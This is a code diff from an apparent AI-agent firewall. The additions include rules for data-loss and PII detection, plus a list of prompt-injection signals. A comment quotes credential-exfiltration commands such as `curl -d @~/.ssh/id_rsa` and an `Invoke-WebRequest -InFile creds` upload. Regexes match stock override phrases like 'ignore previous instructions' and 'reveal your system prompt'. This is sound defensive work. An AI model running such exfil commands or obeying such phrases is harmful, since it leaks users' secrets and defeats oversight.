+ "az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] },
9137
+ // An HTTP upload is a copy out of the jail with the network as its
9138
+ // destination (fw#372 A2). Measured at the real gate before this row:
9139
+ // `curl -T ~/.ssh/id_rsa https://x/` and `curl -d @~/.ssh/id_rsa https://x/`
9140
+ // were ALLOWED in the shipped default (egress off, no taint on the file),
9141
+ // while `cp ~/.ssh/id_rsa /tmp/k` reviewed. The same slot model as the other
9142
+ // flagOperand verb; the read tier never saw curl because it prints nothing.
9143
+ // `--key`/`--cert` USE a file for TLS, like `ssh -i`, and stay quiet.
9144
+ curl: {
9145
+ source: "flagOperand",
9146
+ sourceFlags: CURL_SOURCE_FLAGS,
9147
+ sourceOperand: curlSourceOperand,
9148
+ valueLetters: CURL_VALUE_LETTERS
9149
+ },
9150
+ wget: {
9151
+ source: "flagOperand",
9152
+ sourceFlags: ["--post-file", "--body-file"],
9153
+ valueLetters: WGET_VALUE_LETTERS
9154
+ }
8464
9155
  };
8465
9156
  TAR_MODE_WORD = /^[a-zA-Z]+$/;
8466
9157
  COPY_VERB_HEADS = new Set(Object.keys(COPY_VERBS).map((k) => k.split(" ")[0]));
@@ -8672,6 +9363,11 @@ var init_dist = __esm({
8672
9363
  "rmdir"
8673
9364
  ]);
8674
9365
  INTERP_LEADING_TARGET = /* @__PURE__ */ new Set(["su"]);
9366
+ MAX_PAYLOAD_NESTING = 8;
9367
+ payloadNesting = 0;
9368
+ SCRIPT_RUNNERS = /* @__PURE__ */ new Set(["bash", "sh", "zsh", "dash", "ksh", "source", "."]);
9369
+ SCRIPT_RUNNER_VALUE_FLAGS = /* @__PURE__ */ new Set(["-o", "+o", "-O", "+O", "--rcfile", "--init-file"]);
9370
+ MAX_SCRIPT_OPERANDS = 8;
8675
9371
  NET_BINARIES = /* @__PURE__ */ new Set([
8676
9372
  // PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
8677
9373
  // is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
@@ -11104,6 +11800,21 @@ zoo`.split("\n");
11104
11800
  lengths = [24, 21, 18, 15, 12];
11105
11801
  hash = (value) => (0, import_crypto2.createHash)("sha256").update(value).digest();
11106
11802
  MAX_MNEMONIC_HASHES = 25e3;
11803
+ SECRET_VIEW_LIMITS = {
11804
+ /** A decoded text that itself decodes is followed this many layers; a deeper layer is reviewed. */
11805
+ maxDepth: 4,
11806
+ /** Nested views per parent view, and nested text per call; past either the call is reviewed. */
11807
+ maxNestedViewsPerLeaf: 64,
11808
+ maxNestedBytes: 1048576,
11809
+ /** Joined hostname-label text per call; past it the call is reviewed. */
11810
+ maxJoinedLabelBytes: 1048576,
11811
+ /** Decoded fragments are matched in batches of about this many characters. */
11812
+ batchCharacters: 65536,
11813
+ /** Only a valid DNS name has its labels joined. */
11814
+ maxHostLength: 253,
11815
+ maxLabelLength: 63,
11816
+ maxLabels: 127
11817
+ };
11107
11818
  IBAN_LENGTH = {
11108
11819
  AD: 24,
11109
11820
  AE: 23,
@@ -11189,96 +11900,151 @@ zoo`.split("\n");
11189
11900
  SV: 28,
11190
11901
  TL: 23,
11191
11902
  TN: 24,
11192
- TR: 26,
11193
- UA: 29,
11194
- VA: 22,
11195
- VG: 24,
11196
- XK: 20,
11197
- YE: 30
11198
- };
11199
- B58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
11200
- B58_INDEX = Object.fromEntries(
11201
- [...B58].map((c, i) => [c, i])
11202
- );
11203
- XPRV_VERSIONS = /* @__PURE__ */ new Set([76066276, 77428856, 78791436]);
11204
- B62 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
11205
- CRC32_TABLE = null;
11206
- GITHUB_TOKEN_RE = /^gh[pousr]_([A-Za-z0-9]{30})([A-Za-z0-9]{6})$/;
11207
- B64URL = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
11208
- B64URL_INDEX = Object.fromEntries(
11209
- [...B64URL].map((c, i) => [c, i])
11210
- );
11211
- CASK_TWO_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AEIMQUYcgkosw048"]);
11212
- CASK_FOUR_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AQgw"]);
11213
- INVISIBLE_RE = /[­͏؜᠎​-‏‪-‮⁠-⁤-︀-️]|[\u{E0000}-\u{E007F}]/gu;
11214
- INVISIBLE_ONE = new RegExp(`^(?:${INVISIBLE_RE.source.split("|")[0]})$`, "u");
11215
- HOMOGLYPHS = {
11216
- // Cyrillic lowercase
11217
- \u0430: "a",
11218
- \u0435: "e",
11219
- \u043E: "o",
11220
- \u0440: "p",
11221
- \u0441: "c",
11222
- \u0443: "y",
11223
- \u0445: "x",
11224
- \u0456: "i",
11225
- \u0458: "j",
11226
- \u0455: "s",
11227
- "\u0501": "d",
11228
- "\u051B": "q",
11229
- "\u051D": "w",
11230
- \u04BB: "h",
11231
- \u0261: "g",
11232
- \u0451: "e",
11233
- "\u04CF": "l",
11234
- "\u217C": "l",
11235
- // Cyrillic uppercase
11236
- \u0410: "A",
11237
- \u0412: "B",
11238
- \u0415: "E",
11239
- \u041A: "K",
11240
- \u041C: "M",
11241
- \u041D: "H",
11242
- \u041E: "O",
11243
- \u0420: "P",
11244
- \u0421: "C",
11245
- \u0422: "T",
11246
- \u0425: "X",
11247
- \u0405: "S",
11248
- \u0406: "I",
11249
- \u0408: "J",
11250
- \u04AE: "Y",
11251
- "\u051A": "Q",
11252
- "\u051C": "W",
11253
- // Greek lowercase
11254
- \u03B1: "a",
11255
- \u03BF: "o",
11256
- \u03BD: "v",
11257
- \u03B5: "e",
11258
- \u03B9: "i",
11259
- \u03BA: "k",
11260
- \u03C1: "p",
11261
- \u03C4: "t",
11262
- \u03C5: "u",
11263
- \u03C7: "x",
11264
- \u03B3: "y",
11265
- // Greek uppercase
11266
- \u0391: "A",
11267
- \u0392: "B",
11268
- \u0395: "E",
11269
- \u0396: "Z",
11270
- \u0397: "H",
11271
- \u0399: "I",
11272
- \u039A: "K",
11273
- \u039C: "M",
11274
- \u039D: "N",
11275
- \u039F: "O",
11276
- \u03A1: "P",
11277
- \u03A4: "T",
11278
- \u03A5: "Y",
11279
- \u03A7: "X"
11903
+ TR: 26,
11904
+ UA: 29,
11905
+ VA: 22,
11906
+ VG: 24,
11907
+ XK: 20,
11908
+ YE: 30
11280
11909
  };
11281
- HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
11910
+ IBAN_BBAN_SHAPE = {
11911
+ AT: /^\d{16}$/,
11912
+ BE: /^\d{12}$/,
11913
+ CH: /^\d{5}[A-Z0-9]{12}$/,
11914
+ CZ: /^\d{20}$/,
11915
+ DE: /^\d{18}$/,
11916
+ DK: /^\d{14}$/,
11917
+ ES: /^\d{20}$/,
11918
+ FI: /^\d{14}$/,
11919
+ FR: /^\d{10}[A-Z0-9]{11}\d{2}$/,
11920
+ GB: /^[A-Z]{4}\d{14}$/,
11921
+ HU: /^\d{24}$/,
11922
+ IE: /^[A-Z]{4}\d{14}$/,
11923
+ IL: /^\d{19}$/,
11924
+ IT: /^[A-Z]\d{10}[A-Z0-9]{12}$/,
11925
+ LU: /^\d{3}[A-Z0-9]{13}$/,
11926
+ NL: /^[A-Z]{4}\d{10}$/,
11927
+ NO: /^\d{11}$/,
11928
+ PL: /^\d{24}$/,
11929
+ PT: /^\d{21}$/,
11930
+ RO: /^[A-Z]{4}[A-Z0-9]{16}$/,
11931
+ SE: /^\d{20}$/
11932
+ };
11933
+ B58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
11934
+ B58_INDEX = Object.fromEntries(
11935
+ [...B58].map((c, i) => [c, i])
11936
+ );
11937
+ XPRV_VERSIONS = /* @__PURE__ */ new Set([76066276, 77428856, 78791436]);
11938
+ B62 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
11939
+ CRC32_TABLE = null;
11940
+ GITHUB_TOKEN_RE = /^gh[pousr]_([A-Za-z0-9]{30})([A-Za-z0-9]{6})$/;
11941
+ B64URL = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
11942
+ B64URL_INDEX = Object.fromEntries(
11943
+ [...B64URL].map((c, i) => [c, i])
11944
+ );
11945
+ CASK_TWO_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AEIMQUYcgkosw048"]);
11946
+ CASK_FOUR_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AQgw"]);
11947
+ CF_ODD = {};
11948
+ CF_EVEN = {};
11949
+ {
11950
+ const alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
11951
+ const odd = [
11952
+ 1,
11953
+ 0,
11954
+ 5,
11955
+ 7,
11956
+ 9,
11957
+ 13,
11958
+ 15,
11959
+ 17,
11960
+ 19,
11961
+ 21,
11962
+ 1,
11963
+ 0,
11964
+ 5,
11965
+ 7,
11966
+ 9,
11967
+ 13,
11968
+ 15,
11969
+ 17,
11970
+ 19,
11971
+ 21,
11972
+ 2,
11973
+ 4,
11974
+ 18,
11975
+ 20,
11976
+ 11,
11977
+ 3,
11978
+ 6,
11979
+ 8,
11980
+ 12,
11981
+ 14,
11982
+ 16,
11983
+ 10,
11984
+ 22,
11985
+ 25,
11986
+ 24,
11987
+ 23
11988
+ ];
11989
+ for (let i = 0; i < alphabet.length; i++) {
11990
+ const c = alphabet[i];
11991
+ CF_ODD[c] = odd[i];
11992
+ CF_EVEN[c] = i < 10 ? i : i - 10;
11993
+ }
11994
+ }
11995
+ SPANISH_LETTERS = "TRWAGMYFPDXBNJZSQVHLCKE";
11996
+ HETU_CHARS = "0123456789ABCDEFHJKLMNPRSTUVWXY";
11997
+ MAX = 1e5;
11998
+ UNTRUSTED_TOOLS = /\b(web_?fetch|web_?search|fetch|curl|wget|browser|http_get|read_url|open_url)\b/i;
11999
+ SIGNALS = [
12000
+ {
12001
+ name: "override-instructions",
12002
+ any: [
12003
+ // "ignore/disregard/forget ... (previous|all|the|your) ... instructions/prompt/rules/commands/tasks"
12004
+ /\b(ignore|disregard|forget|discard)\b[^.!?\n]{0,40}\b(previous|prior|earlier|above|all|the|your)\b[^.!?\n]{0,24}\b(instruction|instructions|prompt|context|rules?|directives?|commands?|tasks?|guidelines?)\b/i,
12005
+ /\byou are now\b/i,
12006
+ /\bnew (instructions?|directives?)\s*:/i,
12007
+ /\bnew directive\b/i,
12008
+ /\boverride\s*:/i,
12009
+ /\bsystem note\s*:/i,
12010
+ /\bdeveloper mode\b/i,
12011
+ /\bignore (the )?system prompt\b/i,
12012
+ /\b(reveal|print|show|output|repeat|display|dump)\b[^.!?\n]{0,30}\b(system prompt|hidden instructions|initial instructions|your instructions)\b/i,
12013
+ /\b(do not|don'?t|never)\b[^.!?\n]{0,20}\btell the (user|human)\b/i,
12014
+ /\boverride (your|the)\b[^.!?\n]{0,20}\b(instruction|instructions|programming|rules?|guardrails?)\b/i
12015
+ ]
12016
+ },
12017
+ {
12018
+ name: "fake-role-marker",
12019
+ any: [
12020
+ /^\s*(system|assistant)\s*:/im,
12021
+ // a line impersonating a conversation turn
12022
+ /<\/?system>/i,
12023
+ /\[\s*system\s*\]/i,
12024
+ /\[\/?INST\]/i,
12025
+ /<\|im_(start|end)\|>/i
12026
+ ]
12027
+ },
12028
+ {
12029
+ name: "action-to-destination",
12030
+ any: [
12031
+ // exfil verb + to/at/with/into + a url / email / domain. "email" after a
12032
+ // possessive ("your email", "my email") is the noun, not the verb (X4).
12033
+ // "log in to", "report issues at", "share feedback with" and "submit
12034
+ // your form at" are how ordinary pages talk, so log, report, share and
12035
+ // submit count only in the past tense ("logged to", "shared with").
12036
+ // A dot inside a word (a host, a file name) does not end the window; a
12037
+ // dot that ends a sentence does.
12038
+ /\b(send|sent|post(?:ed)?|upload(?:ed)?|exfiltrate[sd]?|forward(?:ed|s)?|transmit(?:ted|s)?|shared|submitted|logged|reported|curl|wget|leak(?:ed|s)?|(?<!\b(?:your|my|the|an|a|this|that|our|their|his|her)\s+)email(?:ed|s)?)\b(?:[^.\n!?]|\.(?=\S)){0,40}\b(to|at|with|into)\b(?:[^.\n!?]|\.(?=\S)){0,24}(https?:\/\/|[\w.-]+@[\w.-]+\.[a-z]{2,}|[\w-]+\.[a-z]{2,})/i,
12039
+ /\brun (the )?following (command|code|script)\b/i,
12040
+ /\bexecute (this|the following)\b/i,
12041
+ /\bdecode\b[^.!?\n]{0,40}\b(and|then)\b[^.!?\n]{0,12}\b(execute|run|eval)\b/i,
12042
+ /\bcall\b[^.!?\n]{0,30}\b(tool|function|endpoint)\b[^.!?\n]{0,30}\b(url|link|address)\b/i
12043
+ ]
12044
+ }
12045
+ ];
12046
+ MENTION_QUOTE_RE = /["'`“‘(]\s*$/;
12047
+ MENTION_WORD_RE = /\b(?:say|says|saying|said|such as|like|pattern|patterns|phrase|phrases|string|strings|text|e\.g\.|example|examples|contains?|containing|detects?|filters?|flags?|blocks?|matches|keywords?|wording|marker|markers)\b/i;
11282
12048
  ASSIGNMENT_CONTEXT_RE = /\b(?:password|passwd|secret|token|api[_-]?key|auth(?:_key|_token)?|credential|private[_-]?key|access[_-]?key|client[_-]?secret)\s*[=:]\s*/i;
11283
12049
  DLP_STOPWORDS = [
11284
12050
  "example",
@@ -11312,18 +12078,42 @@ zoo`.split("\n");
11312
12078
  DOTTED_REFERENCE_RE = /^[A-Za-z_$][\w$]*(?:\.[A-Za-z_$][\w$]*)+$/;
11313
12079
  CONCATENATION_RE = /^\+[A-Za-z_$][\w$]*\./;
11314
12080
  EMAIL_VALUE_RE = /^[^@\s]+@[^@\s]+\.[A-Za-z]{2,}$/;
11315
- FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)/i;
12081
+ FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)|^public/i;
11316
12082
  DERIVATIVE_NAME_RE = /(?:hash|digest|fingerprint|thumbprint|checksum|id|type|name|url|uri|path|file|len|length|count|size|ttl|expires?|expiry|age|date|time|format|field|header|param)$/i;
11317
12083
  QUERY_CREDENTIAL_VALUE_RE = /=([A-Za-z0-9%+/_.~-]{8,512}={0,2})$/;
11318
12084
  OTP_SECRET_RE = /^[A-Z2-7]{16,}=*$/i;
11319
12085
  OTP_DOC_SECRETS = /* @__PURE__ */ new Set(["JBSWY3DPEHPK3PXP", "GEZDGNBVGY3TQOJQ"]);
11320
- ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/_.!@#$%^*~-]{12,512}={0,2})$/;
12086
+ ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})$/;
11321
12087
  ASSIGNED_SECRET_NAME_RE = /^([A-Za-z0-9_]+)/;
11322
- NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|jsapi[_-]?ticket|pass)/i;
12088
+ NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|pass)/i;
11323
12089
  ARN_CONTEXT_RE = /\barn:[A-Za-z0-9-]*:[^\s"'`]*$/i;
12090
+ CIPHER_KEY_NAME_RE = /^([A-Za-z_][\w.]{0,40})/;
12091
+ CIPHER_NAME_PARTS = /* @__PURE__ */ new Set([
12092
+ "cipher",
12093
+ "aes",
12094
+ "enc",
12095
+ "encrypt",
12096
+ "encryption",
12097
+ "crypt",
12098
+ "crypto",
12099
+ "secret",
12100
+ "remember",
12101
+ "rememberme",
12102
+ "shiro",
12103
+ "signing",
12104
+ "hmac",
12105
+ "master",
12106
+ "private",
12107
+ "des"
12108
+ ]);
12109
+ CIPHER_KEY_VALUE_RE = /([A-Za-z0-9+/]{22}==)$/;
12110
+ LARAVEL_KEY_VALUE_RE = /base64:([A-Za-z0-9+/]{43}=)$/;
12111
+ SQL_PASSWORD_VALUE_RE = /['"]([^'"\s]{8,128})['"]$/;
12112
+ GRAFANA_KEY_VALUE_RE = /(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})$/;
11324
12113
  BASIC_VALUE_RE = /([A-Za-z0-9+/]{8,512}={0,2})$/;
11325
12114
  BASIC_PAIR_RE = /^([^:\s]{1,128}):(\S{8,256})$/;
11326
12115
  OTP_CAPTURE_RE = /["']([A-Z2-7]{16,128}=*)["']$/i;
12116
+ DB_URL_PASSWORD_RE = /:\/\/[^:/\s@]*:([^@\s]{4,})@/;
11327
12117
  DLP_PATTERNS = [
11328
12118
  // ── AWS ───────────────────────────────────────────────────────────────────
11329
12119
  {
@@ -11521,7 +12311,8 @@ zoo`.split("\n");
11521
12311
  // ── Private keys (PEM) ────────────────────────────────────────────────────
11522
12312
  {
11523
12313
  name: "Private Key (PEM)",
11524
- regex: /-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----/,
12314
+ // DSA and ENCRYPTED headers, and a PGP private key block (node9Firewall#385).
12315
+ regex: /-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED |PGP )?PRIVATE KEY(?: BLOCK)?-----/,
11525
12316
  severity: "block",
11526
12317
  keywords: ["-----begin"]
11527
12318
  },
@@ -11802,7 +12593,7 @@ zoo`.split("\n");
11802
12593
  "clickhouse",
11803
12594
  "cassandra"
11804
12595
  ],
11805
- minEntropy: 3
12596
+ validate: validateDbConnectionString
11806
12597
  },
11807
12598
  // ── Credential in a URL query value ───────────────────────────────────────
11808
12599
  // A query parameter whose key names a secret (`?secret=`, `&apiKey=`,
@@ -11831,6 +12622,63 @@ zoo`.split("\n");
11831
12622
  redactGroup: 1,
11832
12623
  argumentsOnly: true
11833
12624
  },
12625
+ // ── Shapes from the CredData review (fw#372 B4, node9Firewall#385) ────────
12626
+ // All review and argumentsOnly, like Assigned Secret: the live gate asks,
12627
+ // the raw scanners stay as they were.
12628
+ {
12629
+ name: "Cipher Key Literal",
12630
+ regex: /\b([A-Za-z_][\w.]{0,40}key)[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/]{22}==)/i,
12631
+ severity: "review",
12632
+ keywords: ["key"],
12633
+ validate: validateCipherKeyLiteral,
12634
+ redactGroup: 2,
12635
+ argumentsOnly: true
12636
+ },
12637
+ {
12638
+ name: "Laravel App Key",
12639
+ regex: /\bAPP_KEY[ \t]{0,8}=[ \t]{0,8}["']?(base64:[A-Za-z0-9+/]{43}=)/,
12640
+ severity: "review",
12641
+ keywords: ["app_key"],
12642
+ validate: validateLaravelAppKey,
12643
+ redactGroup: 1,
12644
+ argumentsOnly: true
12645
+ },
12646
+ {
12647
+ // `key-` plus 32 hex characters, Mailgun's legacy private key shape.
12648
+ name: "Mailgun API Key",
12649
+ regex: /\bkey-[0-9a-f]{32}\b/,
12650
+ severity: "review",
12651
+ keywords: ["key-"],
12652
+ argumentsOnly: true
12653
+ },
12654
+ {
12655
+ // A kubeadm bootstrap token, named as one by its flag or key.
12656
+ name: "Kubeadm Bootstrap Token",
12657
+ regex: /(?:--token[= ]|\btoken:[ \t]{0,8}|--discovery-token[= ])([a-z0-9]{6}\.[a-z0-9]{16})\b/,
12658
+ severity: "review",
12659
+ keywords: ["token"],
12660
+ redactGroup: 1,
12661
+ argumentsOnly: true
12662
+ },
12663
+ {
12664
+ // `CREATE USER ... IDENTIFIED BY 'x'` (MySQL, Oracle), `WITH PASSWORD 'x'` (Postgres).
12665
+ name: "SQL Account Password",
12666
+ regex: /\b(?:IDENTIFIED\s+BY|WITH\s+PASSWORD)\s*['"]([^'"\s]{8,128})['"]/i,
12667
+ severity: "review",
12668
+ keywords: ["identified by", "with password"],
12669
+ validate: validateSqlPassword,
12670
+ redactGroup: 1,
12671
+ argumentsOnly: true
12672
+ },
12673
+ {
12674
+ // The provisioned (legacy) Grafana API key: base64 of a JSON object with k, n and id.
12675
+ name: "Grafana API Key",
12676
+ regex: /\b(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})/,
12677
+ severity: "block",
12678
+ keywords: ["eyjrijoi"],
12679
+ validate: validateGrafanaApiKey,
12680
+ redactGroup: 1
12681
+ },
11834
12682
  // ── Secret assigned to a telling name ─────────────────────────────────────
11835
12683
  // `password: ...`, `JWT_SECRET=...`, `api_key = "..."`. The name alone is
11836
12684
  // not a finding: most such lines hold a reference (`process.env.X`), a
@@ -11843,7 +12691,10 @@ zoo`.split("\n");
11843
12691
  // name are written out, not as a counted group, to keep star height 1.
11844
12692
  {
11845
12693
  name: "Assigned Secret",
11846
- regex: /(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|jsapi[_-]?ticket|\bpass(?![A-Za-z0-9])|_pass(?![A-Za-z0-9]))[A-Za-z0-9_]{0,40}\\?["'\]]?\\?["'\]]?[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/_.!@#$%^*~-]{12,512}={0,2})/i,
12694
+ // fw#372 B4: `aes_key`, `cipher_key`, `subscription_key` join the names; a
12695
+ // backtick may close the name; `|` and `\` may occur in the value
12696
+ // (`\/` is how JSON escapes a slash).
12697
+ regex: /(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|\bpass(?![A-Za-z0-9])|_pass(?![A-Za-z0-9]))[A-Za-z0-9_]{0,40}\\?["'\]`]?\\?["'\]`]?[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})/i,
11847
12698
  severity: "review",
11848
12699
  keywords: ["pass", "pwd", "secret", "token", "key", "ticket"],
11849
12700
  validate: validateAssignedSecret,
@@ -12538,21 +13389,13 @@ zoo`.split("\n");
12538
13389
  ["preview_start", ["url"]],
12539
13390
  ["browser_batch", ["actions[].input.url"]]
12540
13391
  ]);
12541
- SECRET_VIEW_LIMITS = {
12542
- /** A decoded text that itself decodes is followed this many layers; a deeper layer is reviewed. */
12543
- maxDepth: 4,
12544
- /** Nested views per parent view, and nested text per call; past either the call is reviewed. */
12545
- maxNestedViewsPerLeaf: 64,
12546
- maxNestedBytes: 1048576,
12547
- /** Joined hostname-label text per call; past it the call is reviewed. */
12548
- maxJoinedLabelBytes: 1048576,
12549
- /** Decoded fragments are matched in batches of about this many characters. */
12550
- batchCharacters: 65536,
12551
- /** Only a valid DNS name has its labels joined. */
12552
- maxHostLength: 253,
12553
- maxLabelLength: 63,
12554
- maxLabels: 127
12555
- };
13392
+ MCP_DESTINATION_KEYS = [
13393
+ "destination",
13394
+ "endpoint",
13395
+ "webhook",
13396
+ "webhook_url",
13397
+ "callback_url"
13398
+ ];
12556
13399
  ARGUMENT_SCAN_LIMITS = {
12557
13400
  maxDepth: 12,
12558
13401
  maxNodes: 16384,
@@ -12613,11 +13456,67 @@ zoo`.split("\n");
12613
13456
  PII_EMAIL_RE = /\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b/;
12614
13457
  PII_SSN_RE = /\b\d{3}-\d{2}-\d{4}\b/;
12615
13458
  PII_PHONE_RE = /\b(?:\+?1[-.\s]?)?\(?\d{3}\)?[-.\s]\d{3}[-.\s]\d{4}\b/;
12616
- PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|6\d{3})[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b/;
12617
- PII_CC15_RE = /\b3[47]\d{2}[-\s]?\d{6}[-\s]?\d{5}\b/;
13459
+ PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|2(?:22[1-9]|2[3-9]\d|[3-6]\d\d|7[01]\d|720)|6\d{3}|35(?:2[89]|[3-8]\d)|220[0-4])[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}\b/;
13460
+ PII_CC15_RE = /\b3[47]\d{2}[-\s.]?\d{6}[-\s.]?\d{5}\b/;
13461
+ PII_CC14_RE = /\b3(?:0[0-5]\d|[68]\d\d)[-\s.]?\d{6}[-\s.]?\d{4}\b/;
13462
+ PII_CC13_RE = /\b4\d{3}[-\s.]?\d{3}[-\s.]?\d{3}[-\s.]?\d{3}\b/;
13463
+ PII_CC19_RE = /\b4\d{3}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{3}\b/;
13464
+ CARD_PATTERNS = [PII_CC16_RE, PII_CC15_RE, PII_CC14_RE, PII_CC13_RE, PII_CC19_RE];
13465
+ PII_ROUTING_RE = /\b\d{9}\b/;
13466
+ ROUTING_LABEL_RE = /\b(?:routing|aba|rtn)\b/i;
13467
+ ROUTING_LABEL_WINDOW = 24;
13468
+ NATIONAL_ID_SHAPES = [
13469
+ { regex: /\b[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]\b/, validate: validateCodiceFiscale },
13470
+ { regex: /\b(?:\d{8}|[XYZ]\d{7})[A-Z]\b/, validate: validateSpanishId },
13471
+ { regex: /\b756\.\d{4}\.\d{4}\.\d{2}\b/, validate: validateSwissAhv },
13472
+ { regex: /\bCHE-\d{3}\.\d{3}\.\d{3}\b/i, validate: validateSwissUid },
13473
+ {
13474
+ regex: /\b[12] ?\d{2} ?(?:0[1-9]|1[0-2]|[2-9]\d) ?(?:\d{2}|2[AB]) ?\d{3} ?\d{3} ?\d{2}\b/,
13475
+ validate: validateNir
13476
+ },
13477
+ // PESEL and CNP are bare 11- and 13-digit runs: a millisecond timestamp
13478
+ // passes the CNP rules about 1 time in 400 and a random 11-digit id passes
13479
+ // PESEL about 1 in 50 (measured), so both need their name nearby.
13480
+ { regex: /\b\d{11}\b/, validate: validatePesel, labelled: true },
13481
+ { regex: /\b[1-9]\d{12}\b/, validate: validateCnp, labelled: true },
13482
+ { regex: /\b\d{6}[-+]\d{4}\b/, validate: validateSwedishPersonnummer, labelled: true },
13483
+ { regex: /\b\d{11}\b/, validate: validateNorwegianFnr, labelled: true },
13484
+ { regex: /\b\d{6}[-+A-FU-Y]\d{3}[0-9A-Y]\b/, validate: validateFinnishHetu, labelled: true }
13485
+ ];
13486
+ NATIONAL_ID_LABEL_RE = /\b(?:personnummer|personal identity number|f[øo]dselsnummer|hetu|henkil[öo]tunnus|pesel|cnp|cod numeric personal|codul numeric personal|national id(?:entification)?(?: number)?)\b/i;
13487
+ NATIONAL_ID_LABEL_WINDOW = 32;
13488
+ NATIONAL_ID_GUARD_RE = /\d{3}|[A-Z]{6}\d{2}/;
12618
13489
  PII_IBAN_RE = /\b[A-Z]{2}\d{2}(?:[A-Z0-9]|[ -][A-Z0-9]){11,30}\b/;
12619
- REALTIME_PII_PATTERNS = ["SSN", "Credit Card", "IBAN"];
13490
+ REALTIME_PII_PATTERNS = [
13491
+ "SSN",
13492
+ "Credit Card",
13493
+ "IBAN",
13494
+ "Bank Routing Number",
13495
+ "National ID"
13496
+ ];
12620
13497
  MAX_PII_SCAN_BYTES = 1e5;
13498
+ IBAN_DESTINATION_KEYS = /* @__PURE__ */ new Set([
13499
+ "to",
13500
+ "recipient",
13501
+ "recipients",
13502
+ "payee",
13503
+ "beneficiary",
13504
+ "destination",
13505
+ "iban",
13506
+ "account",
13507
+ "account_number",
13508
+ "accountnumber"
13509
+ ]);
13510
+ WHOLE_IBAN_RE = /^[A-Z]{2}\d{2}[A-Z0-9 -]{11,34}$/;
13511
+ JSON_ESCAPE_RE = /\\(?:[ntr"\\/]|u[0-9a-fA-F]{4})/g;
13512
+ JSON_ESCAPES = {
13513
+ n: "\n",
13514
+ t: " ",
13515
+ r: "\r",
13516
+ '"': '"',
13517
+ "\\": "\\",
13518
+ "/": "/"
13519
+ };
12621
13520
  MASKED_KINDS = /* @__PURE__ */ new Set(["email", "iban", "account"]);
12622
13521
  ENTRY_RE = /^(email|iban|account):([^#\s]{1,200}(?: [^#\s]{1,40}){0,4})#sha256:([0-9a-f]{64})$/;
12623
13522
  IBAN_TEXT_RE = /\b[A-Z]{2}\d{2}(?:[ -]?[A-Z0-9]{4}){2,7}(?:[ -]?[A-Z0-9]{1,4})?\b/gi;
@@ -13188,8 +14087,8 @@ var ConfigFileSchema = import_zod.z.object({
13188
14087
  }).strict();
13189
14088
  function formatIssues(issues) {
13190
14089
  const lines = issues.map((issue) => {
13191
- const path26 = issue.path.length > 0 ? issue.path.map(String).join(".") : "root";
13192
- return ` \u2022 ${path26}: ${issue.message}`;
14090
+ const path27 = issue.path.length > 0 ? issue.path.map(String).join(".") : "root";
14091
+ return ` \u2022 ${path27}: ${issue.message}`;
13193
14092
  });
13194
14093
  return `Invalid config:
13195
14094
  ${lines.join("\n")}`;
